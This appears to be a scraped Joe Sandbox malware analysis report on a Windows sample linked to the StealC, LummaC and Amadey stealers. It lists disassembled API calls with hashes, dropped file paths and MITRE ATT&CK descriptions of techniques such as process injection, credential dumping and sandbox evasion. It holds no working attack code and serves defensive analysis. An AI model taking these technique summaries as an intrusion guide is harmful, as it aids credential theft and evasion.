EnterCriticalSection.KERNEL32(6BFAE784,6BF46112), ref: 6BF23A4B
LeaveCriticalSection.KERNEL32(6BFAE784), ref: 6BF23A5F

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1083e32e993d74b8ee17a58d73f0c781e62a653241dcf5eea80275a605641abc
Instruction ID: 7c19b1c648030c80abbd57fb967dfea10ec14b56ffae61703b5ce01bc2e963c0
Opcode Fuzzy Hash: 1083e32e993d74b8ee17a58d73f0c781e62a653241dcf5eea80275a605641abc
Instruction Fuzzy Hash: EB210577611701CFCB2C8EB9C492B2AB3A6EB86B50724052AC56687770D739F8048B52

Function 6BF3B940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BF3B96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6BF3B99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BF3B9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF3B9B9

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: 449abfbc0494757342f5e3fa77d6856701540b2b9accf0b250ca13f10189d10f
Instruction ID: d1b38988256691ec3cddc5c918f5579e512768cef1b9b354bb9d4cc75b8d5a70
Opcode Fuzzy Hash: 449abfbc0494757342f5e3fa77d6856701540b2b9accf0b250ca13f10189d10f
Instruction Fuzzy Hash: CE117FB2A002059FCB04DF6DD8909ABB7F8BF88314B10893AE919D3311E735E9158AA0

Function 6BF726B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF726C1
free.MOZGLUE(?), ref: 6BF726E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF726FF
free.MOZGLUE ref: 6BF7270D

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e822f109ce61698a983a8639a4b10049168954f5d7c062108ce879f7bbf4399d
Instruction ID: f7795f7b6fa5ce22024d24ebdc231d2b46b02dfc64b7e0ac5fec096d591be0ee
Opcode Fuzzy Hash: e822f109ce61698a983a8639a4b10049168954f5d7c062108ce879f7bbf4399d
Instruction Fuzzy Hash: 93F0A9B36002055BE720EA1CFC80A5B77A9FF52254B544077EA16D3321E736F955C691

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKJKJDG

C:\ProgramData\CBGCGDBKEGHIEBGDBFHDHIDAFC

C:\ProgramData\GHDHDGHJ

C:\ProgramData\IJECAEHJJJKJKFIDGCBG

C:\ProgramData\JDGHIIJKEBGIDHIDBKJD

C:\ProgramData\JECAFHJEGCFCBFIEGCAE

C:\ProgramData\JJDBGDHIIDAEBFHJJDBFIDGIJE

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre